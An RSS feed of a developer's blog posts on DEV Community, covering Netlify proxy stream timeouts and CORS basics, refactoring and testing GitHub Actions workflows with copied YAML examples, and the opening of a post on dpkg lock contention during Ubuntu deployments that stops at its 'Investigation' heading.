<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Yulin</title>
    <description>The latest articles on DEV Community by Yulin (@yulin).</description>
    <link>https://dev.to/yulin</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F737570%2Fcaf86c32-9e53-4a7e-b9d5-1a10720e280c.png</url>
      <title>DEV Community: Yulin</title>
      <link>https://dev.to/yulin</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/yulin"/>
    <language>en</language>
    <item>
      <title>Netlify proxy ending stream unexpectedly: CORS Introduction</title>
      <dc:creator>Yulin</dc:creator>
      <pubDate>Wed, 09 Jul 2025 18:25:48 +0000</pubDate>
      <link>https://dev.to/yulin/netlify-proxy-ending-stream-unexpectedly-cors-introduction-56b8</link>
      <guid>https://dev.to/yulin/netlify-proxy-ending-stream-unexpectedly-cors-introduction-56b8</guid>
      <description>&lt;h2&gt;
  
  
  Let's get into the problem
&lt;/h2&gt;

&lt;p&gt;Using Netlify as a hosting service where it proxy requests coming from web client to backend server, while the backend server was still streaming data the stream was dropped unexpectedly. The streaming failure was intermittent and a red herring to the actual problem, and disguised itself in different forms on different browsers:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;On Firefox, logs a stream deserialization error &lt;code&gt;error decoding response body&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;On Chrome, &lt;code&gt;stream ended before completing&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;There is a clue &lt;a href="https://docs.netlify.com/routing/redirects/rewrites-proxies/" rel="noopener noreferrer"&gt;in Netlify documentation&lt;/a&gt;:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Proxy rewrite requests will time out after 26 seconds. If you are proxying to a longer-running process, we recommend making an asynchronous request rather than waiting for a response.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Netlify rewrites are used to map a URL in the visitor's address bar to a different resource on the server, without changing the displayed URL. This is useful for single-page applications (SPAs), proxying requests to other services, or transitioning legacy content while keeping the original URL visible. &lt;/p&gt;

&lt;p&gt;Within a Netlify toml file in your UI project, you can put in a &lt;code&gt;redirect&lt;/code&gt; directive to reroute the calls to API endpoints, so that no extra CORS headers need to be added on server side. However, this was causing more headaches than it solves, stream was dropped after 10-20 seconds intermittently. To regain the some control back to allow the streamed data to come through, we actually cannot reply on Netlify proxy and will need to write CORS headers in the server responses.&lt;/p&gt;

&lt;p&gt;Note that there is another layer of complication on top of Netlify proxy timeout, Chrome and Firefox will log errors &lt;code&gt;ERR_INCOMPLETE_CHUNKED_ENCODING&lt;/code&gt; and &lt;code&gt;NS_ERROR_NET_PARTIAL_TRANSFER&lt;/code&gt; if no data has been sent for over 60 seconds, so be wary of multiple big requests coming into the server at the same time.&lt;/p&gt;

&lt;h2&gt;
  
  
  What is CORS?
&lt;/h2&gt;

&lt;p&gt;To understand what is CORS, perhaps the first question we should be asking is what came before CORS? The was the &lt;strong&gt;same-origin policy&lt;/strong&gt;, the primary mechanism for restricting web page access to resources from different origins. This policy was designed to enhance security by preventing malicious websites from accessing sensitive data on other domains. It meant that a webpage loaded from &lt;code&gt;http://example.com&lt;/code&gt; could only access resources on &lt;code&gt;http://example.com&lt;/code&gt; and not, for example, &lt;code&gt;http://anothersite.com&lt;/code&gt;. &lt;/p&gt;

&lt;p&gt;CORS (Cross-Origin Resource Sharing) was introduced as a mechanism to relax the same-origin policy in a controlled way, allowing web applications to access resources from different origins under specific conditions. Therefore if your service is not accessed from the same domain as the browser page, without a proxy, in order to make requests directly to the API backend you will need to specify in the server:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;allowed methods &lt;code&gt;Access-Control-Request-Method&lt;/code&gt;: GET, POST, PUT DELETE, OPTIONS (the intended method of the request)&lt;/li&gt;
&lt;li&gt;allow headers &lt;code&gt;Access-Control-Request-Headers&lt;/code&gt;, if you are using custom headers&lt;/li&gt;
&lt;li&gt;allowed origin &lt;code&gt;Access-Control-Allow-Origin&lt;/code&gt;, set as environment variable for example with the base URL of expected client. You may want to allow any origin for development.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Only the allowed origin is compulsory for &lt;a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CORS#simple_requests" rel="noopener noreferrer"&gt;Simple requests&lt;/a&gt; (GET, POST, and HEAD), otherwise browser makes an automatic pre-flight request using the &lt;code&gt;OPTIONS&lt;/code&gt; method to determine the full CORS capabilities of the server before the actual request is executed.&lt;/p&gt;

&lt;h2&gt;
  
  
  CORS is flawed..
&lt;/h2&gt;

&lt;p&gt;CORS (Cross-Origin Resource Sharing) is a security feature implemented by browsers to prevent malicious websites from making unauthorized requests to your backend services (like APIs) on behalf of a logged-in user. It’s a necessary part of web security, but it has some issues. CORS is a helpful layer, but it’s not a complete security solution. Think of it as a gatekeeper for browsers — useful, but easily bypassed if your server isn’t properly secured.&lt;/p&gt;

&lt;h4&gt;
  
  
  Only enforced by browsers
&lt;/h4&gt;

&lt;p&gt;CORS is a client-side mechanism — it protects users in a browser. If someone uses tools like curl, Postman, or scripts outside a browser, they can bypass CORS completely.&lt;/p&gt;

&lt;h4&gt;
  
  
  Easy to misconfigure
&lt;/h4&gt;

&lt;p&gt;Many developers unintentionally open up their APIs by setting Access-Control-Allow-Origin: * or enabling too many headers/methods, which can expose sensitive data.&lt;/p&gt;

&lt;h4&gt;
  
  
  Annoying complexity
&lt;/h4&gt;

&lt;p&gt;CORS introduces preflight OPTIONS requests, credential flags, and other configurations that often confuse developers. It’s easy to break things or introduce bugs if you're not careful.&lt;/p&gt;

&lt;h4&gt;
  
  
  Not real protection for your backend
&lt;/h4&gt;

&lt;p&gt;Since it only works in browsers, CORS doesn’t protect your server by itself. You still need authentication, authorization, rate limiting, etc., on the backend to stay secure.&lt;/p&gt;

</description>
      <category>networking</category>
      <category>netlify</category>
      <category>webdev</category>
      <category>streaming</category>
    </item>
    <item>
      <title>How to Test and Reduce Duplications in GitHub Actions Workflows</title>
      <dc:creator>Yulin</dc:creator>
      <pubDate>Fri, 30 May 2025 17:51:26 +0000</pubDate>
      <link>https://dev.to/yulin/how-to-test-and-reduce-duplications-in-github-actions-workflows-ppj</link>
      <guid>https://dev.to/yulin/how-to-test-and-reduce-duplications-in-github-actions-workflows-ppj</guid>
      <description>&lt;p&gt;If you are seeing duplications in your pipeline and are looking for a way of reusing either part or whole of that workflow, wondering how you would variablise your current workflow, you are at the right place! I've encountered similar issues before and going to walk you through the steps so you can manage your pipelines to reduce the likelihood of human error. GitHub has the steps well documented, this article is both for my own benefit to highlight the trial and error I've been through.&lt;/p&gt;

&lt;p&gt;There are in general three ways of refactoring your GitHub actions&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Composite actions&lt;/li&gt;
&lt;li&gt;Reusable workflows&lt;/li&gt;
&lt;li&gt;Matrix strategy&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;As an overview, in terms of size of repeated action YAML chunks reused from workflows, from smallest to largest: composite actions (variates action steps), matrix strategy (variates action jobs), reusable workflows (variates workflows).&lt;/p&gt;




&lt;h2&gt;
  
  
  Composite actions
&lt;/h2&gt;

&lt;p&gt;In my own use case, I wanted to run the same test commands for all my modules, this means that I have to repeat the &lt;strong&gt;same set of steps&lt;/strong&gt; under the run test job. I could use a matrix test setup but that would duplicate the compilations because the matrix runs at per job level, it would repetitively run the installations for each test. I want to have variations for the set of job steps, such that I can pass an input which will be the name of the module to execute the steps on. Here's a snippet you can copy as a template, referenced from &lt;a href="https://docs.github.com/en/actions/sharing-automations/creating-actions/creating-a-composite-action" rel="noopener noreferrer"&gt;Github documentation&lt;/a&gt;, it takes an input and output (both are optional):&lt;/p&gt;

&lt;p&gt;The composite action:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Hello&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;World'&lt;/span&gt;
&lt;span class="na"&gt;description&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Greet&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;someone'&lt;/span&gt;
&lt;span class="na"&gt;inputs&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;who-to-greet&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;  &lt;span class="c1"&gt;# id of input&lt;/span&gt;
    &lt;span class="na"&gt;description&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Who&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;to&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;greet'&lt;/span&gt;
    &lt;span class="na"&gt;required&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;
    &lt;span class="na"&gt;default&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;World'&lt;/span&gt;
&lt;span class="na"&gt;outputs&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;random-number&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;description&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Random&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;number"&lt;/span&gt;
    &lt;span class="na"&gt;value&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;${{ steps.random-number-generator.outputs.random-number }}&lt;/span&gt;
&lt;span class="na"&gt;runs&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;using&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;composite"&lt;/span&gt;
  &lt;span class="na"&gt;steps&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Set Greeting&lt;/span&gt;
      &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;echo "Hello $INPUT_WHO_TO_GREET."&lt;/span&gt;
      &lt;span class="na"&gt;shell&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;bash&lt;/span&gt;
      &lt;span class="na"&gt;env&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
        &lt;span class="na"&gt;INPUT_WHO_TO_GREET&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;${{ inputs.who-to-greet }}&lt;/span&gt;

    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Random Number Generator&lt;/span&gt;
      &lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;random-number-generator&lt;/span&gt;
      &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;echo "random-number=$(echo $RANDOM)" &amp;gt;&amp;gt; $GITHUB_OUTPUT&lt;/span&gt;
      &lt;span class="na"&gt;shell&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;bash&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The caller of the composition action:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;push&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;

&lt;span class="na"&gt;jobs&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;hello_world_job&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;runs-on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;ubuntu-latest&lt;/span&gt;
    &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;A job to say hello&lt;/span&gt;
    &lt;span class="na"&gt;steps&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;actions/checkout@v4&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;foo&lt;/span&gt;
        &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;OWNER/hello-world-composite-action@SHA&lt;/span&gt;
        &lt;span class="na"&gt;with&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
          &lt;span class="na"&gt;who-to-greet&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Mona&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;the&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;Octocat'&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;echo random-number "$RANDOM_NUMBER"&lt;/span&gt;
        &lt;span class="na"&gt;shell&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;bash&lt;/span&gt;
        &lt;span class="na"&gt;env&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
          &lt;span class="na"&gt;RANDOM_NUMBER&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;${{ steps.foo.outputs.random-number }}&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Hints
&lt;/h3&gt;

&lt;h4&gt;
  
  
  File structure
&lt;/h4&gt;

&lt;p&gt;You must have an &lt;code&gt;action.yaml&lt;/code&gt;, &lt;code&gt;action.yml&lt;/code&gt; or &lt;code&gt;Dockerfile&lt;/code&gt; file nested under your specified action name, other you will hit error &lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Error: Can't find 'action.yml', 'action.yaml' or 'Dockerfile' under '/.github/actions/test-composite-action'. Did you forget to run actions/checkout before running your local action?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The folder structure for your workflows should look something like this&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;my-app/
├─ .github/
│  ├─ workflows/
│  │  ├─ my-composite-action/
│  │  │  ├─ action.yaml
│  │  ├─ my-workflow

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Specify shell
&lt;/h4&gt;

&lt;p&gt;If you have &lt;code&gt;run&lt;/code&gt; within your step, it is compulsory to add a &lt;code&gt;shell&lt;/code&gt; property within a composite action &lt;code&gt;shell: bash&lt;/code&gt;, otherwise you will hit the error:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Required property is missing: shell&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Matrix Strategy
&lt;/h2&gt;

&lt;p&gt;This is useful if you want to run variations of a job within a workflow, all unique combinations of the variables will be executed for the job, as an example the following creates 6 jobs, taken from &lt;a href="https://docs.github.com/en/actions/writing-workflows/choosing-what-your-workflow-does/running-variations-of-jobs-in-a-workflow" rel="noopener noreferrer"&gt;Github documentation&lt;/a&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;  &lt;span class="na"&gt;example_matrix&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;strategy&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;matrix&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
        &lt;span class="na"&gt;version&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;10&lt;/span&gt;&lt;span class="pi"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;12&lt;/span&gt;&lt;span class="pi"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;14&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;
        &lt;span class="na"&gt;os&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;ubuntu-latest&lt;/span&gt;&lt;span class="pi"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;windows-latest&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;One big pro of the matrix strategy approach is that each combination is run in parallel, whereas composite actions are run sequentially. However matrix strategy has less reusability compared to composite actions, because it is tied to the specific workflow job. &lt;/p&gt;




&lt;h2&gt;
  
  
  Reusable workflows
&lt;/h2&gt;

&lt;p&gt;This is generally desirable if the same workflow has to be triggered for multiple repositories, in which case you don't want to copy and paste the same workflows for each repositories, this will introduce extra maintenance overheads. Instead you should consider having a central repository to store the reusable workflows. Examples of good candidates for reusable workflows are testing and formatting. Here's a snippet of a reusable workflow which takes an input and a secret, both optional (taken from &lt;a href="https://docs.github.com/en/actions/sharing-automations/reusing-workflows" rel="noopener noreferrer"&gt;Github Documentation&lt;/a&gt;):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# workflow-B.yml&lt;/span&gt;
&lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Reusable workflow example&lt;/span&gt;

&lt;span class="na"&gt;on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;workflow_call&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;inputs&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;config-path&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
        &lt;span class="na"&gt;required&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;
        &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;string&lt;/span&gt;
    &lt;span class="na"&gt;secrets&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;token&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
        &lt;span class="na"&gt;required&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;

&lt;span class="na"&gt;jobs&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;triage&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;runs-on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;ubuntu-latest&lt;/span&gt;
    &lt;span class="na"&gt;steps&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;actions/labeler@v4&lt;/span&gt;
      &lt;span class="na"&gt;with&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
        &lt;span class="na"&gt;repo-token&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;${{ secrets.token }}&lt;/span&gt;
        &lt;span class="na"&gt;configuration-path&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;${{ inputs.config-path }}&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Caller of the reusable workflow:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Call a reusable workflow&lt;/span&gt;

&lt;span class="na"&gt;on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;pull_request&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;branches&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;main&lt;/span&gt;

&lt;span class="na"&gt;jobs&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;call-workflow-passing-data&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;permissions&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;contents&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;read&lt;/span&gt;
      &lt;span class="na"&gt;pull-requests&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;write&lt;/span&gt;
    &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;octo-org/example-repo/.github/workflows/workflow-B.yml@main&lt;/span&gt;
    &lt;span class="na"&gt;with&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;config-path&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;.github/labeler.yml&lt;/span&gt;
    &lt;span class="na"&gt;secrets&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;token&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;${{ secrets.GITHUB_TOKEN }}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  How to test workflows
&lt;/h2&gt;

&lt;p&gt;The most obvious way to test the workflows is to create a dummy change that will trigger the workflow, however this does not work if your workflow only runs on push to main. Even if you added a trigger temporarily for pull requests, this still doesn't fully replicate the environment e.g. commits on PR are squashed into one by the checkout action. It also pollutes the commit history on pull requests with dummy test commits. An easier way is to add&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;workflow_dispatch&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;to your workflow. This then allows you to trigger the workflow manually. Navigate to the Actions tab, find your workflow, once you click on it you will see a Run workflow button with an option of the branch you want to run it on.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmc3e3jd314klwgwr3ny3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmc3e3jd314klwgwr3ny3.png" alt="Image description" width="800" height="36"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>cicd</category>
      <category>githubactions</category>
      <category>devops</category>
      <category>webdev</category>
    </item>
    <item>
      <title>Resolving dpkg Lock Contention in Ubuntu Deployments</title>
      <dc:creator>Yulin</dc:creator>
      <pubDate>Tue, 11 Mar 2025 20:38:04 +0000</pubDate>
      <link>https://dev.to/yulin/resolving-dpkg-lock-contention-in-ubuntu-deployments-5fkk</link>
      <guid>https://dev.to/yulin/resolving-dpkg-lock-contention-in-ubuntu-deployments-5fkk</guid>
      <description>&lt;p&gt;Are you seeing the following error causing a failure in your deployment process?&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;module.nginx.digitalocean_droplet.nginx &lt;span class="o"&gt;(&lt;/span&gt;remote-exec&lt;span class="o"&gt;)&lt;/span&gt;: E: Could not get lock /var/lib/dpkg/lock-frontend. It is held by process 7264 &lt;span class="o"&gt;(&lt;/span&gt;apt-get&lt;span class="o"&gt;)&lt;/span&gt;
module.nginx.digitalocean_droplet.nginx &lt;span class="o"&gt;(&lt;/span&gt;remote-exec&lt;span class="o"&gt;)&lt;/span&gt;: N: Be aware that removing the lock file is not a solution and may &lt;span class="nb"&gt;break &lt;/span&gt;your system.
module.nginx.digitalocean_droplet.nginx &lt;span class="o"&gt;(&lt;/span&gt;remote-exec&lt;span class="o"&gt;)&lt;/span&gt;: E: Unable to acquire the dpkg frontend lock &lt;span class="o"&gt;(&lt;/span&gt;/var/lib/dpkg/lock-frontend&lt;span class="o"&gt;)&lt;/span&gt;, is another process using it?
╷
│ Error: remote-exec provisioner error
│ 
│   with module.nginx.digitalocean_droplet.nginx,
│   on nginx/main.tf line 55, &lt;span class="k"&gt;in &lt;/span&gt;resource &lt;span class="s2"&gt;"digitalocean_droplet"&lt;/span&gt; &lt;span class="s2"&gt;"nginx"&lt;/span&gt;:
│   55:   provisioner &lt;span class="s2"&gt;"remote-exec"&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
│ 
│ error executing &lt;span class="s2"&gt;"/tmp/terraform_1926178835.sh"&lt;/span&gt;: Process exited with status
│ 100
╵
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;and different variations of it occasionally popping up&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;E: Could not get lock /var/lib/dpkg/lock-frontend. It is held by process 7264 &lt;span class="o"&gt;(&lt;/span&gt;apt-get&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;E: Could not get lock /var/lib/dpkg/lock-frontend. It is held by process 9983 &lt;span class="o"&gt;(&lt;/span&gt;unattended-upgr&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is a race condition, the issue occurred because two system processes were running simultaneously: an automated package update service (&lt;code&gt;unattended-upgrades&lt;/code&gt;) and an initialization process for cloud-based environments (&lt;code&gt;cloud-init&lt;/code&gt; script) which includes a &lt;code&gt;apt-get&lt;/code&gt; command. &lt;code&gt;unattended-upgrades&lt;/code&gt; runs as soon as the container starts up and it is responsible for automatically updating software packages within &lt;code&gt;aptitude&lt;/code&gt;, the underlying package management system. When &lt;code&gt;unattended-upgrades&lt;/code&gt; runs, it acquires a lock on the &lt;code&gt;dpkg&lt;/code&gt; frontend to ensure that no other processes modify packages until all updates are complete. This lock prevented other processes from installing or removing software until the update process was complete.&lt;/p&gt;

&lt;h2&gt;
  
  
  Investigation
&lt;/h2&gt;

